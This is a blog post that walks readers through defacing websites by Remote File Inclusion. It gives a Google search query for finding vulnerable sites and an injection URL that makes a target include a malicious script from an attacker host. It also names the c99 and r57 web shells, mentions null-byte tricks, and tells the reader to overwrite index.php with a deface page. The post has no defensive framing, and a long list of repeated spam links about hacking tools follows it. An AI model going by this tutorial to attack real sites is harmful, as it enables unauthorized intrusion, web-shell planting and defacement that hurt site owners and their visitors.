Thursday, January 18, 2024

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
Related news
  1. Hacker Tools Software
  2. Hack Tools For Windows
  3. Usb Pentest Tools
  4. Hack And Tools
  5. Hack Tools For Games
  6. Pentest Tools Windows
  7. Pentest Tools Kali Linux
  8. Hacking Tools Windows
  9. Hacker Tools Free Download
  10. Hacking Tools Usb
  11. Usb Pentest Tools
  12. Hack Tools Mac
  13. Hacker Tools Apk
  14. Hack Tools For Pc
  15. Hacks And Tools
  16. What Are Hacking Tools
  17. Pentest Tools Website Vulnerability
  18. Wifi Hacker Tools For Windows
  19. Hacker Hardware Tools
  20. Hacking Tools Online
  21. Pentest Tools Tcp Port Scanner
  22. Pentest Tools For Android
  23. Hacker Tools For Windows
  24. Hacking Tools Name
  25. Wifi Hacker Tools For Windows
  26. Pentest Tools Nmap
  27. Hacker Tools Linux
  28. Hacking Tools
  29. Hacking Tools And Software
  30. Hacking Tools Pc
  31. Easy Hack Tools
  32. Kik Hack Tools
  33. Hack Tools For Ubuntu
  34. Pentest Tools Free
  35. Pentest Tools For Windows
  36. Hacker Tools Free
  37. Hacker Tools List
  38. Game Hacking
  39. Black Hat Hacker Tools
  40. Hack App
  41. Nsa Hack Tools Download
  42. Hacker Tools Linux
  43. Pentest Tools Android
  44. Hacking Tools Online
  45. Hack Tools
  46. Pentest Tools Apk
  47. Top Pentest Tools
  48. Hacking Tools Online
  49. Pentest Tools Website Vulnerability
  50. Black Hat Hacker Tools
  51. Hacker Tools Github
  52. Hacking Tools
  53. Pentest Tools Open Source
  54. Usb Pentest Tools
  55. Hacking Tools Download
  56. Hacking Tools Free Download
  57. Pentest Recon Tools
  58. Hacker Tools Mac
  59. Install Pentest Tools Ubuntu
  60. Pentest Tools For Android
  61. Kik Hack Tools
  62. Hacker
  63. Termux Hacking Tools 2019
  64. Hacker Tools 2019
  65. Tools For Hacker
  66. New Hacker Tools
  67. Tools 4 Hack
  68. Hack Tools Online
  69. Pentest Tools Open Source
  70. Beginner Hacker Tools
  71. Nsa Hack Tools
  72. Hack Tools Online
  73. Hack Tools Download
  74. Usb Pentest Tools
  75. Nsa Hacker Tools
  76. Pentest Tools
  77. Hacking Tools Name
  78. How To Install Pentest Tools In Ubuntu
  79. Hack Website Online Tool
  80. Pentest Tools For Windows
  81. Nsa Hack Tools
  82. Pentest Automation Tools
  83. Hack Rom Tools
  84. Usb Pentest Tools
  85. Hack And Tools
  86. Hack Tool Apk
  87. Hacking Apps
  88. Hacking Tools For Windows Free Download
  89. Blackhat Hacker Tools
  90. Hacker Tools Online
  91. Hacking Tools For Beginners
  92. Nsa Hacker Tools
  93. Android Hack Tools Github
  94. Hacking Tools For Mac
  95. Hacking Tools For Windows
  96. Pentest Tools Online
  97. Hacker Tools List
  98. Hacker
  99. Hacker Tools For Pc
  100. Hacking Tools Name
  101. Hacking Tools For Windows 7
  102. Pentest Tools Github
  103. Hack Tools For Ubuntu
  104. Pentest Recon Tools
  105. Wifi Hacker Tools For Windows
  106. Usb Pentest Tools
  107. Android Hack Tools Github
  108. Pentest Tools Apk
  109. Pentest Tools Url Fuzzer
  110. Pentest Tools Website Vulnerability
  111. Termux Hacking Tools 2019
  112. Hack Tools Github
  113. Hacking Tools Pc
  114. Hack Tools For Pc
  115. Game Hacking
  116. Hacker Tools 2020
  117. Best Hacking Tools 2019
  118. Hacking Apps
  119. Pentest Tools Kali Linux
  120. Hacker Tool Kit
  121. Physical Pentest Tools
  122. How To Install Pentest Tools In Ubuntu
  123. Hacking Tools For Windows 7
  124. Pentest Tools Download
  125. Pentest Tools Kali Linux
  126. Hacking Tools Windows 10
  127. Hack App
  128. Pentest Tools Android
  129. Hack Rom Tools
  130. Hack Rom Tools
  131. Computer Hacker
  132. Hacking Tools Windows
  133. What Are Hacking Tools
  134. Hacking Tools Online
  135. Hack Tools Github
  136. Hacker Tools Online
  137. Hack Rom Tools
  138. Hacker Tool Kit
  139. Hacking Tools For Pc
  140. Hacker Tools For Pc
  141. Hacker Hardware Tools
  142. Best Hacking Tools 2020
  143. Hacking Apps
  144. Hacks And Tools
  145. Termux Hacking Tools 2019
  146. Pentest Tools For Windows
  147. Pentest Tools Online
  148. Hack Tools
  149. Hack Tools Pc
  150. Hack Tools For Pc
  151. Pentest Tools Github
  152. Underground Hacker Sites
  153. Nsa Hacker Tools
  154. Pentest Tools Find Subdomains
  155. Hacker Tools Hardware
  156. What Is Hacking Tools
  157. Pentest Tools Online
  158. Hacker Tools Linux
  159. Hack Tools For Pc
  160. Hacking Tools For Pc
  161. Pentest Tools Tcp Port Scanner
  162. Install Pentest Tools Ubuntu
  163. Computer Hacker
  164. Pentest Box Tools Download
  165. Hack Tools
  166. Hack Rom Tools
  167. Hacker Tools 2020
  168. Pentest Tools
  169. Game Hacking
  170. Pentest Tools Url Fuzzer
  171. Pentest Tools Port Scanner
  172. Free Pentest Tools For Windows
  173. Hack Tools For Mac

No comments:

Post a Comment